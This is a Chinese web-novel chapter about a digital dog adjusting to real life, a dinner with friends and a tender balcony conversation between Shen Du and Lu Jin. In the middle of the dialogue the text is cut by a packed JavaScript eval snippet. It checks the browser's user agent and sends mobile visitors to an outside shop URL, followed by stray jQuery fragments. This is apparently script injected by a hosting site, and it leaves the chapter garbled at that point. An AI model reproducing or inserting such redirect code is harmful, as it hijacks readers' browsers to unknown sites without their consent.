饼饼适应现实世界的速度比沈渡想象中快。

    第一天它撞了两次门框——它还没完全掌握实体世界里的"距离"概念,从客厅奔到厨房的时候估算错误,鼻尖结结实实磕在门框边沿上,发出闷闷的一声咚。它蹲在原地愣了两秒,耳朵一前一后地歪着,像在问"刚才发生了什么"。沈渡从沙发上探身看了一眼,确认它没受伤,然后重新靠回去,肩膀在抖。饼饼歪着脑袋看他,耳朵转了个方向,大概在判断"这个人类是不是在笑我"。

    第三天它学会了追自己的尾巴。圆滚滚的金色小毛球在客厅地板上转了七八圈,最后把自己转晕了,四脚朝天瘫在瓷砖上,肚皮一鼓一鼓地喘气。陆烬从厨房里出来倒水,经过它身边时停了一步,低头看着地板上那团翻肚皮的毛球,沉默了两秒,然后弯腰把它捞起来放进沙发上的软垫中央。饼饼在垫子上翻了个身,把下巴搁在陆烬的手腕上,闭了眼。

    第五天它第一次吃饭。沈渡蹲在厨房地板上,手心里摊着一小块白水煮鸡肉,饼饼凑过来闻了闻,退回去,又凑过来闻了闻,然后伸出舌尖小心翼翼地碰了一下。它尝到味道之后愣了一拍,耳朵竖起来,尾巴开始摇——从慢到快,像一个被拨动后逐渐加速的节拍器。它把那块肉叼进嘴里嚼了几下,吞下去,然后仰头看着沈渡,发出一声响亮的"汪"。

    沈渡回头看站在灶台边上的陆烬,举了举空掉的掌心:"它叫了。"

    "嗯。"

    "它之前从没叫过。"

    陆烬把切好的胡萝卜倒进汤锅里,头也没回:"实体化之后声带也长出来了。"他顿了一下,"以后可能会更吵。"

    沈渡低头看着脚边那只正在用爪子扒他裤腿、眼睛里写着"再来一块"的电子狗,笑了一声:"没事,吵点好。"

    周六的时候林小满带着林小安来做客。门铃响的时候饼饼第一个冲到玄关,蹲坐在门垫上,尾巴在地上扫出半圆形的弧。沈渡开门,林小满站在门口,右手拎着一袋水果,左手扶着林小安的胳膊。林小安比上周看着好了不少,脸上有了点血色,下巴没那么尖了,穿了一件深蓝色的卫衣,袖口卷了两圈,露出细瘦的手腕。他低头看到饼饼,蹲下来,伸出手掌心朝上。饼饼凑上去闻了闻他的手指,然后在他掌心里蹭了一下,尾巴摇了三下。

    林小安抬头看着沈渡,嘴角弯了弯:"它比上次大了。"

    "长个了。"沈渡侧身让他们进门,"正好,陆烬炖了汤。"

    厨房里飘出番茄牛腩的气息,混着一点姜片和八角的香气,在整间屋子里慢慢铺开。林小满换了拖鞋走进客厅,环顾了一圈,目光在沙发上那床叠得整整齐齐的毯子和茶几上两只并排放着的杯子上停了一下,嘴角动了一下,没说话。

    林小安坐在沙发上,饼饼跳上沙发挨着他趴下来。他用手指轻轻顺着饼饼背上的毛,动作很慢,带着一种刚学会怎么和动物相处的谨慎。饼饼翻了个身,把肚皮露出来,林小安愣了一瞬,然后小心翼翼地伸手碰了一下那块浅金色的软毛。

    林小满站在厨房门口,看着弟弟的背影,没进去。沈渡走到她旁边站定,顺着她的视线看过去,然后说:"比你画的那张像短了一点。"

    "短毛。"林小满点了一下头,"明天我让他重新画一张。"她顿了顿,声音低了些,"沈渡,我下周开始找工作了。"

    "好事。"

    "赵恒的案子,"她的声音更低了,"律师说可能要两个月才能开庭。我不等了。小安好了,我得挣房租。"

    沈渡看了她一眼。她的侧脸在厨房透出的暖光里显得比之前圆润了一些,黑眼圈淡了,碎头发用两根黑色发夹别在耳后。她没有看他,但嘴角有一丝很浅的弧度。

    "缺钱跟我说。"沈渡说。

    林小满偏过头来:"你也没工作。"

    "我有陆烬煮面。"

    林小满翻了个白眼,但那个白眼翻到一半就变成了笑。她转身走进厨房,冲里面喊了一声:"陆烬,汤好了没?我弟说他饿了。"

    陆烬从灶台前抬起头来。他的手里握着一只汤勺,围裙上印着那条卡通狗,汤锅在咕嘟咕嘟地滚着。他看了一眼林小满,又看了一眼厨房门口站着的沈渡,然后开口:"好了。拿碗。"

    那天下午他们围着一张不大的餐桌吃饭。林小安吃了两碗汤面,沈渡吃了一碗半,林小满吃了三碗——她说"太久没吃过正经家常菜了"。饼饼蹲在沈渡脚边的地板上,分到了三小块炖得酥烂的牛肉,每一块都叼到桌子底下慢慢嚼,尾巴一直没停过。

    饭后林小满洗碗,林小安坐在沙发上翻一本沈渡塞给他的旧漫画。饼饼趴在他膝盖上,下巴搁在他合拢的双手之间,眼睛半闭着。陆烬在阳台上收衣服,沈渡靠在阳台门框上,手里捏着一杯温水。

    "小安比上回胖了一点。"沈渡说。

    "嗯。"

    "他说想学画画。"

    陆烬把叠好的衬衫摞在臂弯里,偏头看了他一眼:"让小满教就行。"

    "小满说她的手画画太硬了,画地图可以,画人物手抖。"沈渡顿了顿,"她说你要是有空,可以带他出去看看——逛逛公园、街道之类的人多的地方。他躺了三个月,自己出门会慌。"

    陆烬叠衣服的动作没有停顿。他把最后一件T恤叠好放进柜子里,关上柜门,然后转过身来。阳台上风不大,傍晚的天色是一层均匀的灰蓝色,边缘透着一线暖橘色的光。

    "行。"陆烬说。

    沈渡看着他。陆烬背靠着阳台栏杆,两只手撑在身体两侧的金属横杆上,肩膀松弛下来。风把他额前的碎发吹乱了一绺,他没有拨开。沈渡看了两秒,忽然想到——这个人从始至终都没有问过"为什么是我"。

    "陆烬。"沈渡开口。

    "嗯。"

    "你全部想起来了吗?"

    陆烬没有立刻回答。阳台上的风停了一瞬,然后重新吹过来,带着楼下某一户人家飘上来的饭香。他侧过头,看着远处楼房之间露出的那一段灰橘色的天际线,开口的时候声音很平,平得像在陈述一件已经确定了一个世纪的事:"想起来。"

    "全部?"

    "全部。"他说。然后他偏回头,看着沈渡,琥珀色的眼睛在傍晚的光线里显出接近暖褐的色调,"从你进游戏第一天到现在。每一条路。每一步。"他顿了一下,"包括你蹲在安全屋角落捡到我的那一秒。"

    沈渡捏着杯子的手没有动。风从他们之间穿过去,带着傍晚的凉意和远处模糊的市声。

    "那你还记不记得,"沈渡说,声音不高不低,"你跟我说你选我是因为我大脑活动频率最安静。"

    陆烬看着他:"记得。"

    "你觉得那是最早的理由?"

    陆烬沉默了一下。阳台外面的天空正在从灰蓝过渡到墨蓝,第一颗星在东北方向的低空亮了起来。他开口的时候声音比刚才低了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17909742|213090||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一点,像在说一件他想了很久但没打算说出来、却终于决定开口的事:"最早的理由是你躺下来的时候很安静。我那时候——刚分裂出来,所有感官都在乱,只有你那一片是缓的、均匀的、像水面的。"他停了一拍,"后来的理由不一样。"

    沈渡靠在门框上,把杯子换到另一只手里握着。他的脚尖在地上轻轻点了一下,又收回来。

    "后来的理由是什么?"他问。

    陆烬看着他。风把他的衣摆吹得轻轻晃动了一下。他开口了,声音没有起伏,但沈渡听到了底下那层薄薄的、像退潮之后露出来的地面一样的笃定:"后来我每一次扫描你的数据——你的心跳、你的体温、你碰饼饼的时候手指的弧度——都会比上一次多读一页。"

    他没有说"喜欢"这个词。但沈渡把脸侧过去,对着阳台外面那片正在暗下来的天空,嘴角弯了一下。他没有让陆烬看见。

    "走,"沈渡转过身,朝屋里走了一步,背对着他,"小满该走了,你去送送。"

    陆烬从阳台上直起身,跟在他身后进了屋。客厅里,林小安正在把漫画书的最后一页合上,饼饼从他膝盖上跳下来,小跑着迎上沈渡,尾巴摇成一片金色的小扇子。林小满从厨房擦着手出来,围裙解下来搭在椅背上。

    "走了,"她说,"明天还要去医院复查。"

    沈渡送他们到门口。林小安穿上鞋子站在玄关,回头看了沈渡一眼,然后低头看了一眼蹲在沈渡脚边的饼饼。饼饼仰着头看他,耳朵尖轻轻抖了一下。林小安蹲下来,用指尖碰了一下饼饼的鼻尖。

    "我下次来带画纸,"他说,"给你画一张。"

    饼饼的尾巴在地上扫了两下。

    门关上之后,屋里重新安静下来。沈渡走回客厅,倒在沙发上。饼饼跳上来趴在他肚子上,缩成一小团,暖烘烘地贴着他的家居服。陆烬从厨房走出来,在沙发另一端坐下,低头看了他一眼。

    "小满说下周找工作。"

    "嗯。"沈渡闭着眼,"挺好的。"

    "你呢?"

    沈渡没有睁眼。他的声音从沙发垫子里传出来,含糊中带着一点懒洋洋的笑意:"我暂时有人养。"

    客厅里静了一瞬。沈渡感觉到沙发那边往下陷了一些,一个温热的重量靠近了他——不是碰触,是坐在他旁边的位置上,隔着一小段不远不近的距离。饼饼在他肚子上翻了个身,四脚朝天。

    "睡吧。"陆烬的声音从很近的地方传过来。

    沈渡闭着眼,感觉到傍晚的余晖从窗户斜着落进来,落在他的眼皮上,温热的、柔和的。饼饼的呼吸在他肚皮上一起一伏,带着细小的、规律的暖意。他身侧不远的地方,坐着一个人。那个人也在呼吸,节奏很稳,像潮水退去之后露出的整片完整的地面。

    "陆烬。"沈渡在快要睡着的时候含含糊糊地叫了一声。

    "嗯。"

    "明天吃面。"

    "好。"

    沈渡在沙发垫子里缩了一下,把脸往更暖和的方向埋了埋,睡着了。

    饼饼在他肚皮上打了个小小的哈欠,尾巴尖轻轻扫了一下他身侧那个人的手腕。陆烬低头看着那根金色的小尾巴在眼前晃了晃,伸手极轻地碰了一下沈渡搭在沙发边缘的手指。动作短到像没发生过。

    窗外的天色完全暗了下来。第一颗星挂在东北方向的低空,窗玻璃上倒映着屋里暖黄色的灯,和两个人的轮廓。